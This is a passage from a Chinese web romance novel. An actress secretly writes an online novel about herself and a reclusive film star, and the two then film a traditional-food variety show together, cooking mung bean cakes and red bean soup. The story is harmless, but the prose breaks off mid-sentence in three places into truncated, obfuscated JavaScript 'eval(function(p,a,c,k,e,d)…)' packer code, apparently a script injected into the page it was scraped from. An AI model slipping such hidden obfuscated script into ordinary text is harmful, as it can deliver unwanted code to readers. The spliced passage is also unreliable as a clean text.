毕竟涂韵没谈过恋爱，她对爱情浅薄的理解，也就是她刚刚拍完的那一部剧。 涂韵便干脆把小说的背景设定再来了校园里，小说里女主的性格就是按她自己写的，毕竟自己最了解自己，也不会OOC。 至于莫殊的身份，涂韵把他设定成一个沉默寡言的艺术生。因为莫殊很少接受采访，即使接受采访，话也很少。 而艺术生的设定，是因为涂韵看他的那些电影的时候，总觉得他的眼神里有一种忧郁的气质。 开了文之后，就要对自己的小说和书迷负责。 涂韵每次拍完戏，回到酒店都要抽空挤出时间来码字，有时候行程结束在车上眯一会的时候就闭上眼睛构思一下剧情。 真的很累，但除非真的卡文了，否则涂韵从不断更。 这本书写着写着，收藏量也慢慢的从零鸭蛋涨到了七十多个。 但涂韵信心满满，这是个好的开始！看，现在他们不都是叫殊途同归CP粉了嘛！ 这时，涂韵手中的手机震动了一下。 是微信消息！涂韵连忙点开，发现是莫殊回复了，但只有短短的三个字：【我知道】。 “啊，我果然说了句废话！聊崩啦！”涂韵懊恼地挠了挠头，刚刚的自信顿时就烟消云散。 她刚刚到底哪来的自信啊？ * 颁奖礼的第二天凌晨3点。 暖黄的台灯下，莫殊陷在沙发上，正在翻看着工作室打印出来的一档综艺邀约，邀请他去当飞行嘉宾。 是一档美食体验综艺。 莫殊很少参加真人秀，他没有什么综艺感，但节目组很有诚意，更何况只是一期飞行嘉宾而已。正当他犹豫该怎么拒绝的时候，手机中提示小说更新的声音响起。 “哦？凌晨了还在更新？”莫殊随手将邀约介绍放在一边，直接点开小说看了起来。 小说最新一章描写的是： 【晚自习结束后，教室里的人陆陆续续地往外走，莫殊去涂韵的教室里去找她。 涂韵以为莫殊是来找她借笔记的，因为莫殊作为艺术生需要经常集训，有时候会缺课。 但没想到莫殊小声说道：“不是的，我有其他事和你说。” 涂韵愣了一下，慢慢将笔记本合上，抬头疑惑地看着他。 莫殊：“我知道你总觉得自己不够好，还要努力再努力。 但你不知道的是，我喜欢的不是将来多么耀眼的你，而就是现在的你。我喜欢你给流浪猫喂火腿肠时蹲成的小小一团，喜欢你一笔一划地用各种颜色标记好，好让我看的更清楚的笔记，还有喜欢我每次画得不好时，你都会偷偷塞给我的那颗柠檬糖。” 莫殊从口袋里掏出一颗柠檬硬糖，轻轻地放在涂韵的手心。】 莫殊的手指突然僵住，瞳孔因为震惊而微微放大，台灯暖黄的光线照得那几行铅字格外地刺眼。 这句话不正是他颁奖礼时和涂韵说过的吗？ 不过……这也不是很奇怪，这个粉丝既然都磕cp了，肯定是他或者涂韵的粉丝，可能是全程都看了颁奖礼的直播。 但描写的这个场景……太熟悉了。 他甚至都能回忆起来，那天晚上他跟在涂韵的身后，看见涂韵蹲下来喂猫时，她嗲着声音喊咪咪过来时的样子。 如果说喂猫还是比较大众的小说情节的话，那么柠檬硬糖呢？ 那天晚上涂韵喂完猫站起来时，一颗黄蓝包装的硬糖从她的裙子口袋里滑落，落在泥土地上。他捡起来，剥开糖纸放进嘴里，夏夜的空气中好像都飘散着柠檬的香气。 为什么这本小说，这么的真实，一下子就击中了他心底里的细碎心事和无人知晓的瞬间？ 莫殊的指尖按在发烫的太阳穴上，脑海里乱成一团，那一瞬间他好像又回到了十七岁那年的夏天。 他将有些冒汗的手心擦干净，发微信给陈霖：你有认识涂韵的人吗？把她的微信推给我。 莫殊说完“我知道”那三个字之后，就静静地躺在涂韵的好友列表里了。 他不知道的是，涂韵把他的朋友圈翻来覆去地看了三天。 嗯……不过也没有什么好看的。 他本来就是不爱发朋友圈的人，半年可见，空空如也。 4. 第4章 上综艺 下午三点，阳光透过百叶窗，在地板上投下斑驳的光影。 涂韵蜷在沙发里，对着笔记本电脑码字，一个月过去，她的第一本小说也快写到了结尾。小说收藏数也从两位数噌噌噌地涨到了三位数。 作为刚拿了最佳新人奖的小演员，这一个月也陆陆续续收到了一些剧本，但涂韵看过之后都给拒了。要不就是剧情太糟糕，要不就是人设太虚浮，演这种剧本纯粹是在消耗自己的人气，她宁愿去一些大剧组里演女N号。 涂韵也不急，听说有心仪的剧组要人，她就去试镜。 没试上就上上课写写小说，等待新机会。 涂韵在文档上敲下最后一个句号，刚拿起桌上凉透了的咖啡喝了一口，手机就尖锐地响起，屏幕上跳动着“苏小桃”三个大字。 “喂？小桃？怎么啦？” “涂韵！你有综艺啦！”苏小桃的声音透过听筒带着前所未有的急促和兴奋，“《寻味记》节目组刚刚发消息，原定的飞行嘉宾临时出了意外，需要一个女艺人救场，公司把你报上去了，刚刚确定人选是你！” “……什么？”涂韵怀疑自己听错了，下意识地握紧了手机，“《寻味记》？那不是上星综艺吗？” 《寻味记》是一档宣传传统美食的体验类综艺，每期邀请4位飞行嘉宾深入不同城市的老街区，完成“寻找传统味道+复刻老手艺”。 因为节目立意好，直接升级成了S级综艺，再加上每期都有人气高的飞行嘉宾，所以每期一播出，就会霸占热搜。 “对呀！”苏小桃在电话那头傻笑，“可能因为这期刚好在沪川录制，你又是沪川人吧，节目组觉得省了车马费。” 涂韵“呸”了一口，“人节目组还差这点车马费吗，就不能是看中我的人气吗？” “行行行，不和你说了。我等会把节目流程和相关内容发你，你先看看。今天早点睡，明天六点节目组的车到你家楼下接你。” 苏小桃刚说完，微信上就传来了资料。 涂韵点头，“好嘞！我一定好好表现！” 挂了电话，涂韵深吸一口气，嘴角忍不住向上扬起。 这可是她第一个综艺邀约，还是个上星综艺。虽然是捡漏得的，但……这不都好起来了嘛！ 手机又响起来，一条是节目组跟拍PD发来的好友申请，另一条就是苏小桃发来的资料。 涂韵接受了好友申请，打了个招呼，确认明天确认明天楼下集合的时间后，便点开苏小桃发来的资料，把节目流程和大概内容看了一遍。 每一期节目录制只有两天，第一天是嘉宾跟着学做美食，第二天就是开快闪市集卖嘉宾亲手做的美食，宣传传统美食。 流程不难，涂韵看完一遍之后，才想起每一期会有4位飞行嘉宾，那……其他三位是谁？ 苏小桃发来的资料单里没有提，涂韵想了想，干脆点开微博去看一下有没有路透。 诶？没想到……真的有熟人！ 李子珺，还有莫殊…… 前两天有粉丝在沪川机场偶遇了莫殊，大家都说他是去录制寻味记的。 涂韵一脸呆滞，怎么回事？莫殊不是从来不参加综艺的吗？ 今晚又是个难眠之夜。 第二天一大早，涂韵带着两个黑眼圈上了导演组的车。 化妆，做造型，等来到老街的时候已经是早上9点了。 清晨的老街区人不是很多，空气中还带着露水的潮湿。青石板路蜿蜒，两旁都是挂着红灯笼的老店。 涂韵人走到街口，闻到一阵麦芽糖的甜香——她转头过去发现是有人在卖糖画。 她想起她小时候最期待的就是放学买糖画，就算没钱，也要跑过去和一群小屁孩们围观师傅画画。师傅也不会嫌烦，而是得意地笑着，然后手腕一转，手中的麦芽糖丝就变成了孙悟空、小兔子，还有各种各样精美的造型。 她不舍得把那糖画咬碎，而是把那糖画含在嘴里面，看着它慢慢的变小变薄，舌头上还残留着纯甜的味道。 这街口卖糖画的老爷爷笑着说道：“丫头，我给你画一个。” 一般卖糖画的小摊子上会有个转盘，转盘上标着十二生肖或者其他的图案，要买的就转一圈，转到哪个，师傅就会画哪个。 而这个老爷爷这没有转盘，涂韵估计着应该是导演组安排在这的，便点了点头。 金黄色的麦芽糖丝在老爷爷的手上就像画笔一样，寥寥几笔一个龙的图案便已出现，“做好啦。” 涂韵笑着接过，毫不吝啬自己的夸奖，“爷爷，你这画的又快又好，和活的一样。” 涂韵拿着糖龙，刚一转身，便看到身后不远处莫殊站在那里，手里拿着一只做好的糖龙，晶莹剔透威风凛凛，一看就是同一铺子出品。 “莫老师！”涂韵压下心里的尖叫，假装不知道昨晚看了路透，惊喜地喊了一声。 在节目组的指引下，莫殊和涂韵便举着糖龙，向集合地点走去。 集合地点是在老街的正中心，要走个十几分钟。 涂韵低着头瞧脚下青石板的花纹，心里头还是有些紧张，不知道该和身边的莫殊说些什么时，就听见莫殊开口问道：“涂韵，我……我听说你是沪川人，是吗？你以前来过这块吗？” “啊，对的！”涂韵点点头，“我小时候就住在这附近，放学后经常来老街这块买吃的。这里好多铺子，我都吃过的。” 涂韵顿时就打开了话匣子，和莫殊介绍起哪家店好吃，哪家店的老板心好，哪家店好像换人了。 莫殊就在旁边偶尔点头，搭个话问一句。 等涂韵注意到莫殊眼神含笑地一直望着她时，就发现两人已经走到了集合点。 什么嘛，涂韵在心里想着，莫殊的眼神怎么不拍戏的时候都能溺死个人啊。 集合点处已经有一男一女站在了那里，手里同样举着糖画。虽然糖画已经快被吃没了，但还是能依稀看出是凤凰的样子。 看来节目组已经帮他们4个人给分好组了。 涂韵见到熟人了，开心地跑过去喊了声“领导好！” 莫殊站在原地，微微垂下眼睛，手里把玩着手里吃剩的糖画棍。 那女子笑了笑，说道：“戏外啊，就别喊领导了，喊声珺姐就行。” 面前的女子正是李子珺，电视剧女王，多次斩获最佳女主角，算是中生代女演员中拔尖的那批。涂韵拿了新人奖的那部职场剧里，她演的就是涂韵在职场上的领导，一路引领着她成长。 两人拍戏结缘，彼此之间也很熟。 而站在旁边稍微年轻一点的男生，有些局促的向莫殊和涂韵问了声好。 他，涂韵也是知道的，叫做沈晨，是从韩国务工回来的小爱豆，年纪比她小两岁。 4人站在原地简单的交流了一会儿后，导演便宣布任务。 他拿出了4张卡片，“这4张卡片就是你们今天的学习任务，你们每组抽两张。明天我们会开快闪市集，让你们展示你们的学习成果。” 莫殊转头看向涂韵，“你去抽吧。” “好！”涂韵和沈晨跑到导演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且这也不是个轻巧的活，不知道为什么，他磨出来的绿豆沙总有小颗粒，不够细腻。 涂韵看见莫殊累得满头大汗，拿了纸巾递给莫殊。她假装无意地提示道：“莫老师，要不要试试加一勺凉开水？我奶奶以前也磨豆沙，她总说，干绿豆容易结块，加点水可能会更顺滑。” 莫殊接过，擦了擦汗后，便往磨盘里加了勺水。果然推磨时阻力小了很多，豆沙磨得又细又滑，在磨盘中散发出淡淡的豆沙香味。 陈爷爷在一旁笑着夸道：“这一步最缺的就是耐性了，小莫有耐心！这手艺能出师了！” 作为小粉丝的涂韵忍不住地接道：“那是！我们莫老师磨磨的样子这么专注，这么帅，我们这组绝对能做出最好吃的绿豆糕！”逗得陈爷爷哈哈大笑起来。 第二步是在磨好的绿豆中加入牛奶、炼乳和白砂糖搅拌，搅拌均匀后便放入锅中，加入黄油小火慢炒。这又是一个漫长的十分废胳膊的过程。 莫殊和涂韵两个人轮流炒。 一个人炒的时候，另一个便在旁说话，和陈爷爷聊天。 刚开始莫殊只是安静地听着，手里的动作不停。但在涂韵的叽叽喳喳声中，便也加入聊了起来，两个人还挖掘出了不少云糯居的老故事出来。 导演组看着镜头，满意的点了点头。 他早就听说莫殊这人不擅长聊天，便特意将涂韵跟他分到了一组。你看，这效果不挺好吗？不枯燥，有素材。 5. 第5章 绿豆糕 炒完后，涂韵还分了一半豆沙泥加入一勺抹茶粉，这样做出来的绿豆糕便有黄有绿，更加好看。 做完这些，便到最后一步——“整形”了，也就是将炒好的绿豆沙用模子压出花纹，这可能是古法绿豆糕中最简单的一步了。 涂韵选了一个樱花模具，莫殊拿了一个梅花模具，两个人围坐在树荫下开始弄。 导演朝着摄像使了个眼色，这场景好！多么有氛围感的夏日时光，快拍！ 蝉鸣阵阵，正午的阳光被拉得又细又长，连风都带着三分黏人的温热。石桌上早已摆好了备好的馅料：黄色和绿色的豆沙，盛在青花碗里，旁边的小碟里盛着桂花蜜，香气四溢。 树下的浓荫中，两人坐在竹凳下低着头专心地做着糕点。 “莫老师，你这磨的豆沙真好，很细腻。”涂韵夸道。 莫殊应了声，目光悄悄地落在涂韵身上：脸颊都热的有些发红，额角的碎发沾着薄汗。浅蓝的棉布裙摆沾了点水渍，应该是先前洗模具上沾上的。 再看桌上摆着的樱花形状的绿豆糕，莫殊哑然失笑，要不就是花纹不清晰，要不就是边角缺了一块。 莫殊看了一眼涂韵的“残次品”，没说话，只是拿起一个樱花模子，往里面铺豆沙时，特意在边角多填了一点，压模时轻轻敲了敲模子边缘：“边角要填满，敲两下让豆沙贴合模具。” 一块压好的糕点从模具里掉了出来，圆润又饱满。 “是这样吗？”涂韵伸手去拿那樱花模具，指尖不经意擦过莫殊的手背，连忙缩了回来，低下头学着莫殊刚刚做的动作压模。 果然这一次，压出了完整的樱花花纹。 涂韵举着糕点欢呼：“莫老师您太厉害啦！这招叫什么呀？” 他低头继续压模，声音很轻：“叫‘填缝’，和拍戏补镜头一个道理。” “不愧是莫老师，做绿豆糕都能和拍戏融会贯通。”涂韵笑着将自己做出来的第一个完美绿豆糕，放在青花碟子上。 导演在旁打岔道：“涂韵，你之前不是说过莫老师是你偶像吗？” 涂韵笑着说出真话，“是呀，我真的是莫老师的小粉丝来的。” 她看过莫殊演的所有作品，几乎能记住所有他采访时说过的话。 如果说一个月前在颁奖礼上见到莫殊时，她还是紧张加上诚惶诚恐的，那现在经过一个上午的相处时，她发现莫殊和她想象中的样子是一样的，虽然不爱说话经常面无表情，但其实人好又温柔，甚至……有些笨拙。 果然，莫殊的脸瞬间烧了起来，他假装没有听见，只是将刚压好的梅花状绿豆糕放在了涂韵的碟子里。 等好不容易把这些磨好的豆沙，全部印好之后，两个人的腰都酸的直不起来。 这真费劲，涂韵在心里默默赞叹着，如果不是这档节目，她真的不知道光做一个这么简单的绿豆糕其实都要花费这么多时间，心里面更是充满了对陈爷爷这些老师傅们坚持传统美食的赞叹。 做完这些，也已经快中午1点了。 陈爷爷帮他们把做好的绿豆沙放进操作间冷藏塑型，他们则和另外一组去集合吃午饭。 这次午饭定的就是另一组学习的地点——刘奶奶馄饨铺，去尝尝他们包的馄饨。 刘奶奶馄饨铺是一家在老城区的螺蛳壳小店，破损陈旧的红色招牌上大大地写着刘奶奶三个大字。沿着窄小的门道进去，就能看见铺面里就四五张小方桌，店面不大，环境一般，但有着浓浓的“老沪川”味道。 馄饨铺只有两种馄饨，一种是小馄饨，拖着长长的飘逸的皮，加上猪油紫菜蛋皮虾米，鲜香好吃；另一种就是菜肉大馄饨，馅料扎实，包的圆鼓鼓的。 涂韵和莫殊坐在小小的桌子前，喊了声，“珺姐，来碗大四喜小馄饨，再来碗荠菜大馄饨。” 李子珺应了声好，和沈晨两个人围着围裙，麻利的帮着刘奶奶下馄饨。 皮薄馅多的小馄饨在开水里翻滚，两个人脸上也全是汗水。 涂韵打趣道：“珺姐，小沈，你们两个这动作可不像今天才学的呀。” 碗里放上一抹猪肉，再撒上紫菜蛋皮、榨菜香葱，浇上骨头汤，馄饨就可以上桌了。 珺姐端出两碗煮好的馄饨放在他们的面前，说道：“馄饨不难，我以前也包过。难的是调馅和这汤底，好不好吃全看这两了。” 四个人坐下，边吃着热气腾腾的馄饨，边聊着今天上午干的活儿。 偶尔间，李子珺和涂韵也会聊起拍戏的时候的趣事。 李子珺：“别看张导平时笑嘻嘻的，但拍起戏来可严肃了。没想到涂韵每次都是一条就过，把刚进职场的新人演得可像了，连张导都怀疑她真的上过班。” 涂韵笑起来：“因为我真的上过班呀，虽然只是实习。” 莫殊装作不经意的插嘴问道：“你大学是哪个学校？” 涂韵：“我之前在英国留学的，上的不是这种专业类的表演院校。” 莫殊垂下眼眸，搅弄着碗里剩下的虾皮。原来去了英国啊……难怪后面再也没有见到过涂韵了。 这时，一旁闷吃馄饨的沈晨突然抬头问道：“那莫老师你呢？” 现场出现了三秒钟的沉默，沈晨有些疑惑地看着四周，似乎没发现自己哪说错话了。 完蛋了，涂韵心想，沈晨这上节目是不做功课的吗？莫殊从来没有在任何采访中提过自己的毕业学校，也很少说在学校里的事情，百科上面的毕业院校一直都是空白的。粉丝们都猜测，莫殊应该是没有继续上学。 涂韵刚想转移话题，就听见莫殊开口说道：“我没上过大学。” 涂韵：？？ 李子珺：？？ 沈晨握着勺子的手指猛得收紧，但还是因为惊讶从手里滑落，掉进碗里，汤洒了一桌子。 他吓得连忙站起来，一边抽纸擦桌子，一边止不住地道歉，“对不起……莫老师，真的对不起……” 莫殊笑了笑，慢慢转了视线，望向外面，“这有什么好对不起的，你也是不知道而已。确实是没上过。” 眼瞧着沈晨都快吓哭了，涂韵连忙转移话题，朝着导演组哈哈大笑起来，“好尬哈哈，这段到时掐掉。” 导演也吓得抹了把汗，莫殊真是要么不说话，要么就语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莫殊其实早就忘记了，忘记了那个暑假妈妈突然脑溢血倒在地上，他本该铺着阳光的未来突然就暗了下去的那个感觉。忘记了那些拼命打工，翻垃圾桶找塑料瓶的日子。 他早就释怀了，他觉得这些年他的努力已经可以补上人生中的那段空白了，可是当沈晨问他的时候，他却发现自己连一句自嘲的玩笑都挤不出来。 或许是因为涂韵也在吧，他可以接受自己没有上过学的事实，但却没有办法接受在涂韵面前被揭穿这个事实。 在他焦头烂额，因为医药费而四处奔波的时候，涂韵就像一株明亮的向日葵在英国盛开着，沐浴着异国的阳光。 而自己就像一株长在阴影里的植物，拼尽全力想往光亮处凑，连抬头看看太阳的勇气都显得格外可笑。 他知道涂韵一直在看他，可越是这样，他越想低下头去将自己藏起来。 他好像又回到了少年时代，那个连和她并肩坐着，都觉得底气不足的时候。 “莫老师。” “嗯？”莫殊终于鼓起勇气转过头看涂韵。 涂韵朝他笑了笑，眼里没有丝毫的同情，只有纯粹的在意。 她望着他，一脸认真，“莫老师，等会煮糖水，你喜欢吃甜的还是不甜的？” “……甜的。”莫殊过了半秒才找回声音，嗓子有点哑，带着点没掩饰住的哽咽。 “好！那等会，我多放点糖，保准让我偶像吃起来甜甜的。” “……谢谢。”莫殊想咧开嘴笑，但是怕自己笑得太过丑了，最后他只是反手握紧了涂韵的手，掌心的汗蹭在她手背上。连他自己都没有发觉，他现在带着点狼狈的依赖。 6. 第6章 红豆汤 在涂韵的记忆中，相比于小时候，沪川突然多了很多新式糖水店。 干净明亮的环境，精致的摆盘，还有出圈的背景墙，立志于让每个来喝糖水的人拍出最出圈的漂亮照片。垒得满满的冰淇淋球，五颜六色的各样水果，在漂亮的小碗中堆满，给人超强的冲击性。 而藏在老街深处的李叔糖水店，好像在时间长河中走得特别慢，面积不大却处处透着岁月沉淀的暖意。天花板悬着的老式吊扇缓慢地转着，墙壁上贴着黄底红字的海报，上面是各种名字朴素的糖水。绿豆海带糖水、番薯糖水、黑芝麻糊、姜撞奶…… 柜台后坐着的一位两鬓斑白，年纪大约四五十岁的中年人，见到他们进来便笑着说道：“你们来了。” 这次学做的是陈皮红豆沙，相较于上午做绿豆糕又磨又搅，这次煮糖水要简单得多。 李叔说：“陈皮要选五年以上的，红豆要提前泡三小时，煮的时候加一勺□□糖，甜而不腻。用刀刮去陈皮内壁的白瓤，切好丝，再与泡好的红豆一起炖煮。” “好！”相较于上午两个人可能还有些手忙脚乱，下午两个人就配合得默契得多，甚至还有余力帮陈叔做其他的糖水。 “小韵啊，可以加糖了。”李叔边盯着自己那锅番薯，边留意着涂韵那边的动静。 玻璃罐子整整齐齐地摆在吊柜里，每个罐子上都贴着里面糖的名字。 涂韵打开吊柜门，踮起脚尖仔细辨别着标签上的字迹。 李叔说要加黄/冰糖，黄/冰糖被放在了柜子最上层的边缘处。 涂韵屏住呼吸，膝盖微微弯曲又猛地伸直，借着这股劲儿终于勾到了糖罐的耳柄。 可就在她往下拽的瞬间，指尖一滑，“哐当”一声脆响突然炸开，玻璃罐脱手而出，在空中划出一道短暂的弧线，重重砸在瓷砖地上。 碎裂声像投入平静湖面的石子，瞬间搅乱了厨房的安静。 透明的玻璃碎片溅得到处都是，淡黄色的糖块滚了一地。 我靠，完蛋了，这算综艺里的事故吗？ 完全暴露了自己的笨手笨脚，涂韵僵在原地，踮着的脚还没完全落下，看着满地狼藉，脸颊瞬间涨得通红，连耳根都热了起来。 她连忙蹲下，手忙脚乱地去捡，“陈叔……对不起……” 李叔愣了一下，然后连忙摆手，“没事没事，收拾一下就好。” “怎么了？”低沉的男声从身后传来，带着一丝担心。 涂韵回头，发现是在外面擦桌子的莫殊走了进来，“我……我不小心打翻糖罐了。” 莫殊的眼神在扫过狼藉的地面时瞬间凌厉了起来，目光落在她攥着衣角、指节泛白的手上，又移到那些散落的糖块上，连忙走过来蹲下帮着一起捡糖，“下次要是够不到的话，可以叫我。” 语气温柔得让涂韵都忘记纠正他了，他们之间还会有下次吗？ 捡糖的时候，两个人的手指不可避免地碰到了一起。这次莫殊没有收回，而是轻轻地用手指拍了怕涂韵的手背——像是在说“别慌”。 李叔也拿着扫把过来了，打着圆场，“没事没事，糖撒了说明要甜上加甜！” 莫殊起身，对李叔说：“我再去买包新糖吧，是黄/冰糖是吧？” 没等涂韵和李叔反应，他就已经拿着钱包出门了。 涂韵看着他的背影，突然想起他以前在采访里说过“遇到麻烦时，解决问题比道歉更有用”。她咬了咬下唇，刚才还紧绷的肩膀放松了些，手指也慢慢从攥紧的衣角上松开。 是啊，道歉换不回完整的糖罐，也捡不起地上的糖块。 涂韵站起身来，接过陈叔手里的扫帚，“我来扫吧，陈叔你帮我看着锅里的红豆沙。“声音里已经没了刚才的慌乱，而是认真地弯腰扫着地。 等莫殊回来的时候，厨房已经打扫的干干净净。锅里的红豆已经出沙了，空气里飘着陈皮特有的香气，在小小的店面里漫溢开来。 莫殊提着个红色塑料袋，里面有包新糖，还有个玻璃罐子。 涂韵接过塑料袋，便把莫殊推出厨房，“莫老师，我来！外面这么热，你吹会风扇休息会。” 取出一块□□糖放锅里搅拌，将剩余的糖装进糖罐，用圆珠笔写好标签贴好，将糖罐放进柜子里。 做好这些后，涂韵盛了一碗陈皮红豆沙，撒上一把干桂花，便小心翼翼地端了出去。 瓷碗放在桌面上，发出清脆的碰撞声。 涂韵开心地将勺子推到莫殊手边，外面暖黄的夕阳落在她微垂的眼睫上，给她侧脸镀上一层柔和的光晕，“莫老师，你快尝尝。我们煮的红豆沙，第一口给你吃。” 莫殊笑了笑，指了指她的手指，然后敲了敲桌面。 涂韵这才发现桌子上放了一只创口贴，她举起自己的手看了看，原来捡糖的时候，她的食指被玻璃边缘划了个小口子，她自己都没有发现。 涂韵坐在莫殊对面，贴创口贴的时候，发现创口贴还是柠檬图案的。 涂韵心里突然冒出一个念头：莫殊难道……知道她喜欢吃柠檬糖？不对不对，肯定是巧合。总不可能是大影帝偷偷摸摸地搜她的边角料物料看吧？ 而另一边的莫殊已经拿起调羹舀了一勺，温热的糖水顺着喉咙滑下去，红豆豆沙绵密细腻，入口即化，甜而不腻。 “好喝吗，”涂韵坐在对面，指尖轻轻摩挲着自己的碗沿，眼底带着点期待，“我怕陈皮会偏苦，你这碗我特意多加了点糖，” 莫殊的动作顿了顿。 他想起中午在车上时涂韵说的话，他以为是哄他的，没想到她记在了心上。 把他从厨房推出去，也是为了给他那碗多加点糖吧。 他低着头，假装专注地吹着碗里的热气，其实鼻子已经有些发酸。 “是不是太甜了？”涂韵见他不说话，小声问道，伸手想拿过他的碗，“我下次少放……” “没有。”莫殊抬起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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爷爷布满皱纹的手摩梭着瓷碗的边缘，原本浑浊的眼睛都亮了一些，说起退休之后，两个人有时候还一起在厨房里煮糖水给孙子喝，一屋子人热热闹闹的。 莫殊和涂韵都没有说话，认真地听着。偶尔，小声地为老爷爷续上一杯水，生怕惊扰了他的回忆。这其实也是《寻味记》这个综艺很大块也很重要的一个内容，在学做传统美食的同时，收集和挖掘饭店和食客记忆中关于老味道的故事。 老爷爷就这样边吃边聊，在店里坐了大半个小时，才拄着拐杖颤颤巍巍地离开。 等老爷爷走后，涂韵好奇地问李叔，“老爷爷她那老伴怎么不来喝糖水呀？” 李叔转过身去叹了口气，小声说道：”老王他老婆啊，前年去世了。“ 涂韵脸上的笑意瞬间僵住，碗里的红豆沙都变得不甜了。 “给你纸巾。”坐在一旁的莫殊抽了两张纸塞进涂韵的手里，他看见涂韵眼眶发红了，他真的见不得涂韵哭。 7. 第7章 看星星 晚上，两组吃的晚饭也自然是导演组精挑细选好的沪川老字号饭店。 吃完饭后，两组坐车来到了导演组预定好的酒店准备休息。 明天他们还是要起个大早，早早准备好自己的摊位，做好美食，等待下午的快闪市集。 今天可真是累了一天了，涂韵洗好澡后，便敷面膜换上睡衣，开始写今晚的更新。 这次就两天的综艺拍摄，她便没带电脑，只能拿着手机，靠着手指在上面敲敲敲。 时间一点点地在推移，涂韵的指尖微微停顿，满满地写出了“全文完”三个大字。 啊！她掀开面膜，没忍住地对着空旷的房间“啊”了一声。 她起身激动地在房间了转了几圈，然后拿起手机，打开微信给苏小桃发消息：“我的小说写完了！莫殊和涂韵有大结局了！” 见苏小桃没回复，涂韵揉了揉已经麻木了的手腕，直接就将新鲜出炉的章节复制粘贴进小说网站界面，手指迅速地点了一下“发送”。 终于……终于写完了！ 她竟然不知不觉写了有半年了！终于不用再每天赶稿更新了！ 涂韵不仅是如释重负，还有藏了很久的喜悦，像烟花一样炸开，炸的心里又痒又疼的。 才发出去三分钟不到，下面已经有一些留言了，大多都是“恭喜完结”或者说对完结的不舍。 涂韵点开界面，又将刚写的最后一章从头到尾看了一遍。 看见熟悉的名字，看见书里的涂韵和莫殊有了美好的结局，她的眼眶忽然有些发热。 她用这半年写小说的时光给自己编织了一场美梦，现在梦结束了，但她好像还没有醒。 她突然觉得，这进入圈里的这一年多好像都是一场盛大的梦。 小说里的女主角和她一样叫“涂韵”，她有时候已经分不清书里那个勇敢朝着莫殊张开双臂的身影，是故事里的角色，还是明明是抱着追星的心思回国勇闯娱乐圈，却找到自己真正热爱的行业的自己。 她借着小说女主的口吻，将原来那些不敢对人言说的脆弱，那些藏在笑容背后的坚持，那些连父母都未曾知晓的深夜心事，一句句、一段段地讲了出来。因为故事里的莫殊懂她。 现在故事已经happyending了，而她自己，好像也跟着故事里的自己，完成了一场漫长的和解。 “真好。不想这些了。”涂韵伸了个懒腰，明明已经晚上十一点了，但她却一点都不觉得困，便干脆在小说界面上设置了个抽奖，然后一条一条地回复下面的读者留言。 有一条还用着初始头像，名字也是数字的读者评论的字数特别多，涂韵还以为是发了什么长评呢，仔细一看才发现是读者在咨询她感情问题。 【绿江用户0130：偶然发现了这本书，看第一页的时候就被吸引住了，一直在追更。没想到结局竟然来得这么快，有些舍不得结束，但是看到莫殊和涂韵有了一个完美的结局，又十分的感动。书中他们两个的爱情故事，也让我想到了自己。我也有一个喜欢了很久的女孩，但我很自卑，不敢面对她。今天看到了结局，被书里莫殊和涂韵的勇敢鼓励到了。作者，你说我该去表白心意吗？】 哇，她写的小说竟然真的会鼓励到别人！ 涂韵立马回复道：【殊途同归（作者）：谢谢你喜欢莫殊和涂韵的故事。去表白吧！勇敢的人享受世界！祝顺利。】 刚发送完评论，微信那边又响了。 原来是苏小桃回消息了，“恭喜恭喜，终于把你那破小说写完啦。现实中的涂韵今天和莫殊待一天了，听说相处非常融洽？” 涂韵发了三个问号过去，“我录节目，你作为经纪人不跟着我就算了，怎么还在节目组里穿插眼线？” “什么眼线啊，这叫关心艺人工作进展。别闹，我说认真的，你不是喜欢莫殊吗？今天一天相处下来感觉怎么样？” 涂韵不自觉地扬起嘴角，她在心里反复回放着糖水店里的瞬间，感觉心像棉花糖，软乎乎又甜丝丝的。 她啪啪啪地打起字来，“很好，莫老师很好，和我想象中的一样好。” “而且我感觉莫老师好像也对我有意思，苏小桃，你说呢！是我想多了吗？我要不主动出击算了！不是有句什么话吗，勇敢的人先享受世界！” 苏小桃：“不会吧？虽然在我心里，涂小韵你是娱乐圈第一美女，但人家莫殊大影帝什么美女没见过啊，人家可是0绯闻哎！依我看，要不你们还是再接触接触了解一下吧，要是你丢脸就不太好了……” 涂韵撅起嘴，也是。 哎，她这人啊，就是容易头脑一热。 “咚——咚——”，外面有人在敲门。 “谁啊？”涂韵将门打开一条小缝，探出个头，发现莫殊正站在外面。 莫殊应该也是洗过澡了，身上还带着一股皂香。 他穿着件简单的白T恤，露出干净利落的手臂线条。见到涂韵像只兔子一样探头抬眼看向他时，莫殊眼尾微微弯起，漾开一点他自己都没有察觉到的笑意，他斟酌着语气，然后鼓起勇气问道：“涂韵？你要睡了吗？今天晚上有星星，要出来走走吗？” 无论是作为一个刚在小说里描写自己和莫殊拥抱kiss过上幸福生活的网文作家，还是一个刚和闺蜜谈论是否要对着影帝主动出击的女明星，如今见到了正主，涂韵都有些心虚。 刚刚还大放厥词喊着勇敢的人享受世界，这下涂韵倒扭捏了起来。 “睡倒是还没睡，但有点晚啦，”涂韵抿了抿唇小声说道，指尖无意识地抠着门框上的木纹，“明天我们不是还要早起嘛，下次吧？” 话音落下的瞬间，莫殊眼里的光像是被风吹灭的烛火，倏地暗了下去。 他愣了半秒，才下意识地扯了扯嘴角，但反倒显得有些僵硬。 “哦，对，”他低声应着，声音比刚才沉了些，带着点不易察觉的滞涩，“是我没考虑到，今天都累了一天了。” “那你早点休息。”莫殊又说，他往后退了半步，这次的声音轻了许多。 看见莫殊眼里的失落，涂韵突然有些于心不忍。 男神那么内向的人，竟然主动问她要不要出去走走，绝对是对她有意思！ 